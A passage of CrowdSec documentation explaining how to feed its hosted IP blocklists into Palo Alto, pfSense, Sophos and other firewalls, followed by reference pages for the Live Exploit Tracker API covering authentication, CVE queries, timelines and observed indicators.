``` ![Raw IP List Integration Credentials Screen](/img/console_integrations_generic_credentials_light.png)![Raw IP List Integration Credentials Screen](/img/console_integrations_generic_credentials_dark.png) ### Step 4 - Subscribe to Blocklists[โ€‹](#step-4---subscribe-to-blocklists "Direct link to Step 4 - Subscribe to Blocklists") The integration endpoint will serve the deduplicated blocklists it's subscribed to. After creation, a subscription pop-up appears automatically. You can also access it later via the **Add Blocklist** button. Select one or more blocklists available for your plan, then click **Confirm Subscription**. The blocklist name(s) will appear in the integration tile once subscribed. ![Subscribe Integration to Blocklists Screen](/img/console_integrations_add_blocklist_light.png)![Subscribe Integration to Blocklists Screen](/img/console_integrations_add_blocklist_dark.png)![Integration tile after subscription](/img/console_integrations_tile_light.png)![Integration tile after subscription](/img/console_integrations_tile_dark.png) *** ## Configure Palo Alto[โ€‹](#configure-palo-alto "Direct link to Configure Palo Alto") ### Create an External Dynamic List[โ€‹](#create-an-external-dynamic-list "Direct link to Create an External Dynamic List") Go to **Objects > External Dynamic Lists > Add**. ![](/assets/images/paloalto_step1-7d19468f846a7bbb87d20b46b941782b.png) info Embed the credentials in the URL using Basic Auth: TEXTCOPY ``` https://:@admin.api.crowdsec.net/v1/integrations//content ``` Set your desired update frequency. ![](/assets/images/paloalto_step2-35b48fa29895995334eae00e411757da.png) ### Create a security policy[โ€‹](#create-a-security-policy "Direct link to Create a security policy") Go to **Policies > Security > Add**. ![](/assets/images/paloalto_step3-797704ed029857374005a6d800e64475.png) In the **General** tab, add the policy name and description. ![](/assets/images/paloalto_step4-e73ed504089000251e5baa7764dbc0b4.png) In the **Source** tab, select your source zone and the External Dynamic List as the source address. ![](/assets/images/paloalto_step5-ff1adc050dc84e64cde6bfcbb6c0f49d.png) In the **Actions** tab, select **Drop** and enable logging (recommended). ![](/assets/images/paloalto_step6-7b6906cf7968bc0094f1a634899b6e42.png) Click **Commit** to apply the configuration. ![](/assets/images/paloalto_step7-e39a3a18e3cde566c2893718238a728a.png) ## Manage integration size limits with pagination[โ€‹](#manage-integration-size-limits-with-pagination "Direct link to Manage integration size limits with pagination") If you want to learn how to manage integration size limits with pagination, please refer to the [Managing integrations size limits with pagination](https://docs.crowdsec.net/u/console/service_api/integrations.md#managing-integrations-size-limits-with-pagination) section. This integration uses the plain text format. When pulling **without compression**, keep `page_size` at or below **\~300,000** entries to stay under the \~5 MB response limit; beyond that the response is truncated. Enabling compression avoids this limit entirely. ## Troubleshooting[โ€‹](#troubleshooting "Direct link to Troubleshooting") Palo Alto not pulling EDL, check this troubleshooting: [Checking Credentials and Certificate](https://docs.crowdsec.net/u/integrations/intro.md#firewall-cannot-pull-the-blocklist) ## References[โ€‹](#references "Direct link to References") * [Palo Alto โ€” External Dynamic Lists documentation](https://docs.paloaltonetworks.com/pan-os/11-1/pan-os-admin/policy/use-an-external-dynamic-list-in-policy/external-dynamic-list) * [Video tutorial](https://www.youtube.com/watch?v=QFVI4sOFoaI) ## Next Steps[โ€‹](#next-steps "Direct link to Next Steps") Subscribe to blocklists in the [Blocklist Catalog](https://docs.crowdsec.net/u/console/blocklists/catalog.md) to populate your integration. --- # pfSense ![pfSense Integration Card](/img/console_integrations_pfsense_card_light.png)![pfSense Integration Card](/img/console_integrations_pfsense_card_dark.png) The CrowdSec pfSense integration connects CrowdSec's hosted blocklist endpoint to your pfSense firewall. In pfSense, you'll use **URL Table (IPs) aliases** to create aliases that periodically download and update IP lists from external URLs. info Ensure your pfSense version supports URL Table (IPs) aliases. If unsure, refer to the pfSense documentation or contact pfSense support. ## Create a pfSense Integration Endpoint[โ€‹](#create-a-pfsense-integration-endpoint "Direct link to Create a pfSense Integration Endpoint") * 1- Create an integration * 2- Configure Endpoint * 3- Save your credentials * 4- Subscribe to blocklists ### Step 1 - Create an integration in the CrowdSec Console[โ€‹](#step-1---create-an-integration-in-the-crowdsec-console "Direct link to Step 1 - Create an integration in the CrowdSec Console") In your CrowdSec Console account, navigate to the **Blocklist** tab in the top menu bar, then select the **Integrations** sub-menu. Choose the integration type you need, then click **Connect**. info If you don't have a CrowdSec Console account, [sign up here](https://app.crowdsec.net/signup). On mobile, use the menu icon in the top-right corner, tap **Blocklist**, then **Integrations**. [![CrowdSec Integrations Screen](/img/console_integrations_light.png)![CrowdSec Integrations Screen](/img/console_integrations_dark.png)](https://app.crowdsec.net/blocklists/integrations) ### Step 2 - Fill in integration details[โ€‹](#step-2---fill-in-integration-details "Direct link to Step 2 - Fill in integration details") Name the integration *(must be unique to your account)* Optionally, add a description and tags to help you identify it later. You can also configure: * **Enable IP aggregation** โ€” aggregate IPs into CIDR blocks to reduce list size * **Pull limit** โ€” maximum number of IPs returned per pull (default: 10,000) Then click **Create** or **Save**. ![Raw IP List Integration Creation Screen](/img/console_integrations_creation_light.png)![Raw IP List Integration Creation Screen](/img/console_integrations_creation_dark.png) ### Step 3 - Copy your credentials[โ€‹](#step-3---copy-your-credentials "Direct link to Step 3 - Copy your credentials") warning The credentials shown next are displayed **only once**. Copy them before closing this screen. If you lose your credentials, you can regenerate them via **Configure โ†’ Regenerate Credentials** on the integration page. With this HTTPS endpoint and Basic Auth credentials, you can verify the endpoint with any HTTP client, for example: SHCOPY ``` curl -u 'usr:pass' https://admin.api.crowdsec.net/v1/integrations/$integID/content ``` ![Raw IP List Integration Credentials Screen](/img/console_integrations_generic_credentials_light.png)![Raw IP List Integration Credentials Screen](/img/console_integrations_generic_credentials_dark.png) ### Step 4 - Subscribe to Blocklists[โ€‹](#step-4---subscribe-to-blocklists "Direct link to Step 4 - Subscribe to Blocklists") The integration endpoint will serve the deduplicated blocklists it's subscribed to. After creation, a subscription pop-up appears automatically. You can also access it later via the **Add Blocklist** button. Select one or more blocklists available for your plan, then click **Confirm Subscription**. The blocklist name(s) will appear in the integration tile once subscribed. ![Subscribe Integration to Blocklists Screen](/img/console_integrations_add_blocklist_light.png)![Subscribe Integration to Blocklists Screen](/img/console_integrations_add_blocklist_dark.png)![Integration tile after subscription](/img/console_integrations_tile_light.png)![Integration tile after subscription](/img/console_integrations_tile_dark.png) *** ## Configure pfSense[โ€‹](#configure-pfsense "Direct link to Configure pfSense") 1. Create a URL Table (IPs) alias with a 1-day update frequency. Embed the credentials in the URL using Basic Auth: TEXTCOPY ``` https://:@admin.api.crowdsec.net/v1/integrations//content ``` 2. Verify the URL alias is resolving correctly. 3. Create a firewall rule to block IPs matching the alias. Here is a walkthrough of the full pfSense configuration: ![](/assets/images/pfsense-09dc43f0b2559e95a515291af18a8121.gif) ## Manage integration size limits with pagination[โ€‹](#manage-integration-size-limits-with-pagination "Direct link to Manage integration size limits with pagination") If you want to learn how to manage integration size limits with pagination, please refer to the [Managing integrations size limits with pagination](https://docs.crowdsec.net/u/console/service_api/integrations.md#managing-integrations-size-limits-with-pagination) section. This integration uses the plain text format. When pulling **without compression**, keep `page_size` at or below **\~300,000** entries to stay under the \~5 MB response limit; beyond that the response is truncated. Enabling compression avoids this limit entirely. ## Next Steps[โ€‹](#next-steps "Direct link to Next Steps") Subscribe to blocklists in the [Blocklist Catalog](https://docs.crowdsec.net/u/console/blocklists/catalog.md) to populate your integration. --- # Raw IP List ![Raw IP List Integration Card](/img/console_integrations_generic_card_light.png)![Raw IP List Integration Card](/img/console_integrations_generic_card_dark.png) The **Raw IP List** integration is a generic HTTPS endpoint serving Blocklists as plain text: one IP address per line.
It works with any HTTP-capable devices or software that supports ingesting IP lists from a URL.
It can be used as the default choice or when no vendor-specific integration exists. ## Setup a Raw IP List Integration Endpoint[โ€‹](#setup-a-raw-ip-list-integration-endpoint "Direct link to Setup a Raw IP List Integration Endpoint") * 1- Create an integration * 2- Configure Endpoint * 3- Save your credentials * 4- Subscribe to blocklists ### Step 1 - Create an integration in the CrowdSec Console[โ€‹](#step-1---create-an-integration-in-the-crowdsec-console "Direct link to Step 1 - Create an integration in the CrowdSec Console") In your CrowdSec Console account, navigate to the **Blocklist** tab in the top menu bar, then select the **Integrations** sub-menu. Choose the integration type you need, then click **Connect**. info If you don't have a CrowdSec Console account, [sign up here](https://app.crowdsec.net/signup). On mobile, use the menu icon in the top-right corner, tap **Blocklist**, then **Integrations**. [![CrowdSec Integrations Screen](/img/console_integrations_light.png)![CrowdSec Integrations Screen](/img/console_integrations_dark.png)](https://app.crowdsec.net/blocklists/integrations) ### Step 2 - Fill in integration details[โ€‹](#step-2---fill-in-integration-details "Direct link to Step 2 - Fill in integration details") Name the integration *(must be unique to your account)* Optionally, add a description and tags to help you identify it later. You can also configure: * **Enable IP aggregation** โ€” aggregate IPs into CIDR blocks to reduce list size * **Pull limit** โ€” maximum number of IPs returned per pull (default: 10,000) Then click **Create** or **Save**. ![Raw IP List Integration Creation Screen](/img/console_integrations_creation_light.png)![Raw IP List Integration Creation Screen](/img/console_integrations_creation_dark.png) ### Step 3 - Copy your credentials[โ€‹](#step-3---copy-your-credentials "Direct link to Step 3 - Copy your credentials") warning The credentials shown next are displayed **only once**. Copy them before closing this screen. If you lose your credentials, you can regenerate them via **Configure โ†’ Regenerate Credentials** on the integration page. With this HTTPS endpoint and Basic Auth credentials, you can verify the endpoint with any HTTP client, for example: SHCOPY ``` curl -u 'usr:pass' https://admin.api.crowdsec.net/v1/integrations/$integID/content ``` ![Raw IP List Integration Credentials Screen](/img/console_integrations_generic_credentials_light.png)![Raw IP List Integration Credentials Screen](/img/console_integrations_generic_credentials_dark.png) ### Step 4 - Subscribe to Blocklists[โ€‹](#step-4---subscribe-to-blocklists "Direct link to Step 4 - Subscribe to Blocklists") The integration endpoint will serve the deduplicated blocklists it's subscribed to. After creation, a subscription pop-up appears automatically. You can also access it later via the **Add Blocklist** button. Select one or more blocklists available for your plan, then click **Confirm Subscription**. The blocklist name(s) will appear in the integration tile once subscribed. ![Subscribe Integration to Blocklists Screen](/img/console_integrations_add_blocklist_light.png)![Subscribe Integration to Blocklists Screen](/img/console_integrations_add_blocklist_dark.png)![Integration tile after subscription](/img/console_integrations_tile_light.png)![Integration tile after subscription](/img/console_integrations_tile_dark.png) *** ## Format example[โ€‹](#format-example "Direct link to Format example") TEXTCOPY ``` 192.168.38.187 192.168.38.186 ``` ## Manage integration size limits with pagination[โ€‹](#manage-integration-size-limits-with-pagination "Direct link to Manage integration size limits with pagination") If you want to learn how to manage integration size limits with pagination, please refer to the [Managing integrations size limits with pagination](https://docs.crowdsec.net/u/console/service_api/integrations.md#managing-integrations-size-limits-with-pagination) section. This integration uses the plain text format. When pulling **without compression**, keep `page_size` at or below **\~300,000** entries to stay under the \~5 MB response limit; beyond that the response is truncated. Enabling compression avoids this limit entirely. ## Next Steps[โ€‹](#next-steps "Direct link to Next Steps") Subscribe to blocklists in the [Blocklist Catalog](https://docs.crowdsec.net/u/console/blocklists/catalog.md) to populate your integration. --- # Remediation Component ![Remediation Component Integration Card](/img/console_integrations_rc_card_light.png)![Remediation Component Integration Card](/img/console_integrations_rc_card_dark.png) The CrowdSec [Remediation Component](https://docs.crowdsec.net/u/bouncers/intro.md) integration allows you to feed a Remediation Component directly from a CrowdSec blocklist, without requiring a local [Security Engine](https://docs.crowdsec.net/u/blocklists/security_engine.md). This is the integration to use for platforms that do not support native IP list ingestion from an external URL. Remediation Components act as the bridge between CrowdSec's blocklist endpoint and those platforms. [![Cloudflare](/img/crowdsec_cloudfare.svg)Cloudflare โ˜… Self Hosted](https://docs.crowdsec.net/u/bouncers/cloudflare-workers)[![AWS WAF](/img/aws-waf-bouncer-logo.png)AWS WAF](https://docs.crowdsec.net/u/bouncers/aws_waf.md)[![WordPress](/img/crowdsec_logo.png)WordPress](https://docs.crowdsec.net/u/bouncers/wordpress.md) See the [full list of available Remediation Components](https://docs.crowdsec.net/u/bouncers/intro.md) to find the one matching your platform. ## Create a Remediation Component Integration Endpoint[โ€‹](#create-a-remediation-component-integration-endpoint "Direct link to Create a Remediation Component Integration Endpoint") * 1- Create an integration * 2- Remediation Component * 3- Save your credentials * 4- Subscribe to blocklists ### Step 1 - Create an integration in the CrowdSec Console[โ€‹](#step-1---create-an-integration-in-the-crowdsec-console "Direct link to Step 1 - Create an integration in the CrowdSec Console") In your CrowdSec Console account, navigate to the **Blocklist** tab in the top menu bar, then select the **Integrations** sub-menu. Choose the integration type you need, then click **Connect**. info If you don't have a CrowdSec Console account, [sign up here](https://app.crowdsec.net/signup). On mobile, use the menu icon in the top-right corner, tap **Blocklist**, then **Integrations**. [![CrowdSec Integrations Screen](/img/console_integrations_light.png)![CrowdSec Integrations Screen](/img/console_integrations_dark.png)](https://app.crowdsec.net/blocklists/integrations) ### Step 2 - Fill in integration details[โ€‹](#step-2---fill-in-integration-details "Direct link to Step 2 - Fill in integration details") Name the integration *(must be unique to your account)* Optionally, add a description and tags to help you identify it later. You can also configure: * **Enable IP aggregation** โ€” aggregate IPs into CIDR blocks to reduce list size * **Pull limit** โ€” maximum number of IPs returned per pull (default: 10,000) Then click **Create** or **Save**. ![Remediation Component Integration Creation Screen](/img/console_integrations_creation_light.png)![Remediation Component Integration Creation Screen](/img/console_integrations_creation_dark.png) ### Step 3 - Copy your credentials[โ€‹](#step-3---copy-your-credentials "Direct link to Step 3 - Copy your credentials") warning The credentials shown next are displayed **only once**. Copy them before closing this screen. If you lose your credentials, you can regenerate them via **Configure โ†’ Regenerate Credentials** on the integration page. The Remediation Component integration provides you with an API key to copy into your Remediation Component config file, along with the endpoint URL. ![CrowdSec Remediation Component Integration Credentials Screen](/img/console_integrations_rc_credentials_light.png)![CrowdSec Remediation Component Integration Credentials Screen](/img/console_integrations_rc_credentials_dark.png) ### Step 4 - Subscribe to Blocklists[โ€‹](#step-4---subscribe-to-blocklists "Direct link to Step 4 - Subscribe to Blocklists") The integration endpoint will serve the deduplicated blocklists it's subscribed to. After creation, a subscription pop-up appears automatically. You can also access it later via the **Add Blocklist** button. Select one or more blocklists available for your plan, then click **Confirm Subscription**. The blocklist name(s) will appear in the integration tile once subscribed. ![Subscribe Integration to Blocklists Screen](/img/console_integrations_add_blocklist_light.png)![Subscribe Integration to Blocklists Screen](/img/console_integrations_add_blocklist_dark.png)![Integration tile after subscription](/img/console_integrations_tile_light.png)![Integration tile after subscription](/img/console_integrations_tile_dark.png) *** ## Configure the Remediation Component[โ€‹](#configure-the-remediation-component "Direct link to Configure the Remediation Component") Use the credentials from the Console to configure your Remediation Component. Refer to the [Remediation Component documentation](https://docs.crowdsec.net/u/bouncers/intro.md) for platform-specific setup instructions. ## Next Steps[โ€‹](#next-steps "Direct link to Next Steps") Subscribe to blocklists in the [Blocklist Catalog](https://docs.crowdsec.net/u/console/blocklists/catalog.md) to populate your integration. --- # Sophos ![Sophos Integration Card](/img/console_integrations_sophos_card_light.png)![Sophos Integration Card](/img/console_integrations_sophos_card_dark.png) The CrowdSec Sophos integration connects CrowdSec's hosted blocklist endpoint to your Sophos firewall.
Sophos calls this feature **Third-Party Threat Feeds**, which enable you to integrate external sources of IP addresses, domains, and URLs involved in threat activity. info Ensure your Sophos device supports Third-Party Threat Feeds.
The vendor documentation is available in the [References](#references) section below. ## Create a Sophos Integration Endpoint[โ€‹](#create-a-sophos-integration-endpoint "Direct link to Create a Sophos Integration Endpoint") * 1- Create an integration * 2- Configure Endpoint * 3- Save your credentials * 4- Subscribe to blocklists ### Step 1 - Create an integration in the CrowdSec Console[โ€‹](#step-1---create-an-integration-in-the-crowdsec-console "Direct link to Step 1 - Create an integration in the CrowdSec Console") In your CrowdSec Console account, navigate to the **Blocklist** tab in the top menu bar, then select the **Integrations** sub-menu. Choose the integration type you need, then click **Connect**. info If you don't have a CrowdSec Console account, [sign up here](https://app.crowdsec.net/signup). On mobile, use the menu icon in the top-right corner, tap **Blocklist**, then **Integrations**. [![CrowdSec Integrations Screen](/img/console_integrations_light.png)![CrowdSec Integrations Screen](/img/console_integrations_dark.png)](https://app.crowdsec.net/blocklists/integrations) ### Step 2 - Fill in integration details[โ€‹](#step-2---fill-in-integration-details "Direct link to Step 2 - Fill in integration details") Name the integration *(must be unique to your account)* Optionally, add a description and tags to help you identify it later. You can also configure: * **Enable IP aggregation** โ€” aggregate IPs into CIDR blocks to reduce list size * **Pull limit** โ€” maximum number of IPs returned per pull (default: 10,000) Then click **Create** or **Save**. ![Raw IP List Integration Creation Screen](/img/console_integrations_creation_light.png)![Raw IP List Integration Creation Screen](/img/console_integrations_creation_dark.png) ### Step 3 - Copy your credentials[โ€‹](#step-3---copy-your-credentials "Direct link to Step 3 - Copy your credentials") warning The credentials shown next are displayed **only once**. Copy them before closing this screen. If you lose your credentials, you can regenerate them via **Configure โ†’ Regenerate Credentials** on the integration page. With this HTTPS endpoint and Basic Auth credentials, you can verify the endpoint with any HTTP client, for example: SHCOPY ``` curl -u 'usr:pass' https://admin.api.crowdsec.net/v1/integrations/$integID/content ``` ![Raw IP List Integration Credentials Screen](/img/console_integrations_generic_credentials_light.png)![Raw IP List Integration Credentials Screen](/img/console_integrations_generic_credentials_dark.png) ### Step 4 - Subscribe to Blocklists[โ€‹](#step-4---subscribe-to-blocklists "Direct link to Step 4 - Subscribe to Blocklists") The integration endpoint will serve the deduplicated blocklists it's subscribed to. After creation, a subscription pop-up appears automatically. You can also access it later via the **Add Blocklist** button. Select one or more blocklists available for your plan, then click **Confirm Subscription**. The blocklist name(s) will appear in the integration tile once subscribed. ![Subscribe Integration to Blocklists Screen](/img/console_integrations_add_blocklist_light.png)![Subscribe Integration to Blocklists Screen](/img/console_integrations_add_blocklist_dark.png)![Integration tile after subscription](/img/console_integrations_tile_light.png)![Integration tile after subscription](/img/console_integrations_tile_dark.png) *** ## Manage integration size limits with pagination[โ€‹](#manage-integration-size-limits-with-pagination "Direct link to Manage integration size limits with pagination") If you want to learn how to manage integration size limits with pagination, please refer to the [Managing integrations size limits with pagination](https://docs.crowdsec.net/u/console/service_api/integrations.md#managing-integrations-size-limits-with-pagination) section. This integration uses the plain text format. When pulling **without compression**, keep `page_size` at or below **\~300,000** entries to stay under the \~5 MB response limit; beyond that the response is truncated. Enabling compression avoids this limit entirely. ## References[โ€‹](#references "Direct link to References") * [Sophos: Third-Party Threat Feeds documentation](https://docs.sophos.com/nsg/sophos-firewall/latest/Help/en-us/webhelp/onlinehelp/AdministratorHelp/ActiveThreatResponse/ConfigureFeeds/ThirdPartyThreatFeeds/index.html) * [Video: Sophos & CrowdSec integration walkthrough](https://techvids.sophos.com/share/watch/2yEPSmMGQdhH4HnSXK9teU?autoplay=2\&second=226.41) ## Next Steps[โ€‹](#next-steps "Direct link to Next Steps") Subscribe to blocklists in the [Blocklist Catalog](https://docs.crowdsec.net/u/console/blocklists/catalog.md) to populate your integration. --- # Authentication & Setup ## Prerequisites[โ€‹](#prerequisites "Direct link to Prerequisites") To use the Live Exploit Tracker API, you need an **API key**. Contact the CrowdSec team to obtain yours if you haven't already. The same API key works for both the [web interface](https://docs.crowdsec.net/u/tracker_api/web_interface.md) and the REST API. ## Base URL[โ€‹](#base-url "Direct link to Base URL") All API endpoints are available at: TEXTCOPY ``` https://admin.api.crowdsec.net/v1/ ``` ## Authentication[โ€‹](#authentication "Direct link to Authentication") Every API request must include your API key in the `x-api-key` header: SHCOPY ``` curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/cves?page=1&size=10' \ -H 'accept: application/json' \ -H 'x-api-key: YOUR_API_KEY' ``` ## SDKs[โ€‹](#sdks "Direct link to SDKs") CrowdSec provides official SDKs for convenient API access with typed models, authentication handling, and a better developer experience. See the [SDKs & Libraries](https://docs.crowdsec.net/u/tracker_api/api_sdks.md) page for installation instructions, examples, and the full list of available SDKs. **Quick start with the Python SDK:** SHCOPY ``` pip install crowdsec_service_api ``` PYCOPY ``` import os from crowdsec_service_api import Cves, ApiKeyAuth auth = ApiKeyAuth(api_key=os.getenv("CROWDSEC_SERVICE_API_KEY")) cve = Cves(auth=auth).get_cve("CVE-2024-25600") print(f"{cve.title}: Score {cve.crowdsec_score}, Phase: {cve.exploitation_phase.label}") ``` ## Error Handling[โ€‹](#error-handling "Direct link to Error Handling") The API returns standard HTTP status codes: | Status Code | Meaning | | ----------- | ---------------------------------------------- | | `200` | Success | | `201` | Resource created successfully | | `204` | Success with no content (e.g., after deletion) | | `401` | Invalid or missing API key | | `404` | Resource not found | | `422` | Validation error (check request parameters) | | `429` | Rate limit exceeded | ## Next Steps[โ€‹](#next-steps "Direct link to Next Steps") * [Explore CVEs](https://docs.crowdsec.net/u/tracker_api/api_cves.md) โ€” List, search, and get detailed intelligence * [Fingerprint Rules](https://docs.crowdsec.net/u/tracker_api/api_fingerprints.md) โ€” Monitor product-level probing activity * [Integrations & Blocklists](https://docs.crowdsec.net/u/tracker_api/api_integrations.md) โ€” Create firewall integrations and subscribe to CVEs * [Browse by Vendor, Product, or Tag](https://docs.crowdsec.net/u/tracker_api/api_lookups.md) โ€” Explore the coverage landscape * [SDKs & Libraries](https://docs.crowdsec.net/u/tracker_api/api_sdks.md) โ€” Official SDKs for Python and more * [API Reference](https://admin.api.crowdsec.net/v1/docs#tag/Cves) โ€” Full interactive API documentation --- # CVEs This page covers the API endpoints for listing, searching, and retrieving detailed intelligence about CVEs tracked by the Live Exploit Tracker. info For an introduction to what the scores and phases mean, see [Scores & Ratings](https://docs.crowdsec.net/u/tracker_api/scores.md) and [Exploitation Phases](https://docs.crowdsec.net/u/tracker_api/exploitation_phases.md). This page focuses on API usage. ## List Tracked CVEs[โ€‹](#list-tracked-cves "Direct link to List Tracked CVEs") Retrieve a paginated list of all CVEs that CrowdSec is currently tracking. TEXTCOPY ``` GET /v1/cves ``` ### Parameters[โ€‹](#parameters "Direct link to Parameters") | Parameter | Type | Default | Description | | -------------------- | ------- | ------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `page` | integer | 1 | Page number | | `size` | integer | 50 | Items per page (max 100) | | `query` | string | โ€” | Free-text search across CVE name, title, and affected components (e.g. `wordpress`) | | `sort_by` | string | `rule_release_date` | Sort field: `rule_release_date`, `trending`, `nb_ips`, `name`, `first_seen` | | `sort_order` | string | `desc` | Sort direction: `asc`, `desc` | | `exploitation_phase` | string | โ€” | Filter by exploitation phase: `insufficient_data`, `early_exploitation`, `fresh_and_popular`, `targeted_exploitation`, `mass_exploitation`, `background_noise`, `unpopular`, `wearing_out`, `unclassified` | | `detailed` | boolean | `false` | When `true`, also include the heavy detail fields (`description`, `crowdsec_analysis`, `cwes`, `references`, `events`, `tags`) for every CVE in the list. Omitted by default to keep responses lightweight. | * cURL * Python SHCOPY ``` # List CVEs sorted by trending (highest CrowdSec Score first) curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/cves?page=1&size=10&sort_by=trending&sort_order=desc' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` PYCOPY ``` import os from crowdsec_service_api import Cves, ApiKeyAuth from httpx import HTTPStatusError KEY = os.getenv("CROWDSEC_SERVICE_API_KEY") auth = ApiKeyAuth(api_key=KEY) cves_service = Cves(auth=auth) try: response = cves_service.get_cves(page=1, size=10) for cve in response.items: print(f"{cve.name}: CrowdSec Score={cve.crowdsec_score}, " f"Phase={cve.exploitation_phase.label}, " f"IPs={cve.nb_ips}") except HTTPStatusError as e: print(f"Error: {e.response.status_code} - {e.response.text}") ``` ### Response Fields[โ€‹](#response-fields "Direct link to Response Fields") Each CVE in the list includes: | Field | Type | Description | | --------------------- | -------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `id` | string | CVE identifier (e.g., `CVE-2024-25600`) | | `name` | string | CVE name (same as `id`) | | `title` | string | Human-readable title (e.g., "Bricks Builder - RCE") | | `affected_components` | array | Vendor and product names | | `crowdsec_score` | integer | Composite severity score (0โ€“10) | | `opportunity_score` | integer | Attack targeting score (0โ€“5) | | `momentum_score` | integer | Trend direction score (0โ€“5) | | `exploitation_phase` | object | Current phase: `name`, `label`, `description` | | `nb_ips` | integer | Number of IPs currently exploiting this CVE | | `cvss_score` | float | Standard CVSS severity score | | `has_public_exploit` | boolean | Whether a public exploit exists | | `first_seen` | datetime | When CrowdSec first observed exploitation | | `last_seen` | datetime | Most recent observed exploitation | | `published_date` | datetime | CVE publication date in NVD | | `rule_release_date` | datetime | When CrowdSec released the detection rule | | `adjustment_score` | object | Score adjustments: `total`, `recency`, `low_info` | | `threat_context` | object | Contextual threat intelligence: `attacker_countries`, `defender_countries`, `industry_types`, `industry_risk_profiles`, `attacker_objectives`. See [Threat Context](https://docs.crowdsec.net/u/tracker_api/threat_context.md) for field details and interpretation. May be `null` or contain empty sub-objects for low-activity CVEs. | Get detail fields in the list By default the list returns only the lightweight fields above. Pass `detailed=true` to additionally include `description`, `crowdsec_analysis`, `cwes`, `references`, `events`, and `tags` for every CVE in a single call โ€” the same fields documented in [Get CVE Details](#get-cve-details) below. This avoids a follow-up request per CVE, at the cost of a larger response. SHCOPY ``` curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/cves?page=1&size=10&detailed=true' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` ## Get CVE Details[โ€‹](#get-cve-details "Direct link to Get CVE Details") Retrieve full intelligence for a specific CVE, including the CrowdSec Analysis narrative, CWE classifications, references, events timeline, and tags. TEXTCOPY ``` GET /v1/cves/{cve_id} ``` * cURL * Python SHCOPY ``` curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/cves/CVE-2024-25600' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` PYCOPY ``` import os from crowdsec_service_api import Cves, ApiKeyAuth from httpx import HTTPStatusError KEY = os.getenv("CROWDSEC_SERVICE_API_KEY") auth = ApiKeyAuth(api_key=KEY) cves_service = Cves(auth=auth) try: cve = cves_service.get_cve("CVE-2024-25600") print(f"Title: {cve.title}") print(f"CrowdSec Score: {cve.crowdsec_score}") print(f"Phase: {cve.exploitation_phase.label}") print(f"Analysis: {cve.crowdsec_analysis[:200]}...") except HTTPStatusError as e: print(f"Error: {e.response.status_code} - {e.response.text}") ``` ### Additional Fields[โ€‹](#additional-fields "Direct link to Additional Fields") In addition to all the list fields, the detail response includes the following. These same fields can also be returned for every CVE by the [list endpoint](#list-tracked-cves) when called with `detailed=true`. | Field | Type | Description | | ------------------- | ------ | -------------------------------------------------------------------- | | `description` | string | Official CVE description | | `crowdsec_analysis` | string | Human-readable intelligence narrative (Markdown) | | `cwes` | array | CWE classifications with name, label, description | | `references` | array | External reference URLs (advisories, exploits, nuclei templates) | | `events` | array | Key events: CVE published, rule released, first seen, CISA KEV, etc. | | `tags` | array | Category tags (e.g., `wordpress`, `cms`, `enterprise_software`) | ## Get CVE Protect Rules[โ€‹](#get-cve-protect-rules "Direct link to Get CVE Protect Rules") Retrieve the protection/detection rules associated with a specific CVE (e.g. WAF or scenario rules that mitigate it). TEXTCOPY ``` GET /v1/cves/{cve_id}/protect-rules ``` SHCOPY ``` curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/cves/CVE-2024-25600/protect-rules' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` The response contains a `protect_rules` array. Each rule includes: | Field | Type | Description | | ---------------- | -------- | ---------------------------------------------------------- | | `link` | string | URL to the rule source | | `name` | string | Rule name | | `label` | string | Human-readable rule label | | `published_date` | datetime | Date the rule was published (nullable) | | `content` | string | Rule content/definition (nullable) | | `tags` | array | Tags associated with the rule, each with `tag` and `label` | ## Get CVE Timeline[โ€‹](#get-cve-timeline "Direct link to Get CVE Timeline") Retrieve exploitation activity over time for a specific CVE. This powers the activity chart in the web interface. TEXTCOPY ``` GET /v1/cves/{cve_id}/timeline ``` ### Parameters[โ€‹](#parameters-1 "Direct link to Parameters") | Parameter | Type | Default | Description | | ------------ | ------- | ------- | ---------------------------------------------------------------- | | `since_days` | integer | 7 | Time range in days: `1` (1 day), `7` (1 week), or `30` (1 month) | * cURL * Python SHCOPY ``` curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/cves/CVE-2024-25600/timeline?since_days=7' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` PYCOPY ``` # Timeline data is returned as an array of {timestamp, count} objects # Use your preferred charting library to visualize ``` The response is an array of timeline items: | Field | Type | Description | | ----------- | -------- | -------------------------------------------- | | `timestamp` | datetime | Start of the time bucket | | `count` | integer | Number of exploitation events in this bucket | ## Get Top Indicators[โ€‹](#get-top-indicators "Direct link to Get Top Indicators") Retrieve the top indicators of compromise (IOCs) observed for a specific CVE. Each item is tagged with its `indicator_type`. Today the only type is `http_path` โ€” the HTTP request line (` `) seen targeting the vulnerability. TEXTCOPY ``` GET /v1/cves/{cve_id}/indicators ``` ### Parameters[โ€‹](#parameters-2 "Direct link to Parameters") | Parameter | Type | Default | Description | | ---------------- | ------ | --------- | ----------------------------------------------------------------------------------------------------------------- | | `sort_by` | string | `popular` | Ranking of the returned list: `popular` (most reported) or `most_recent` (newly discovered variations) | | `indicator_type` | string | โ€” | Restrict to one or more IOC types. Repeat the parameter to pass several. Currently only `http_path` is available. | SHCOPY ``` curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/cves/CVE-2024-25600/indicators?sort_by=popular&indicator_type=http_path' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` The response is an array of indicator items: | Field | Type | Description | | ---------------- | -------- | -------------------------------------------------------------------------------------- | | `indicator_type` | string | IOC type (e.g. `http_path`) | | `value` | string | The indicator value. For `http_path`, the HTTP request line, e.g. `POST /wp-login.php` | | `first_seen` | datetime | When this indicator was first observed | | `last_seen` | datetime | Most recent observation of this indicator | | `nb_ips` | integer | Number of IPs observed using this indicator | #### Example response[โ€‹](#example-response "Direct link to Example response") JSONCOPY ``` [ { "indicator_type": "http_path", "value": "POST 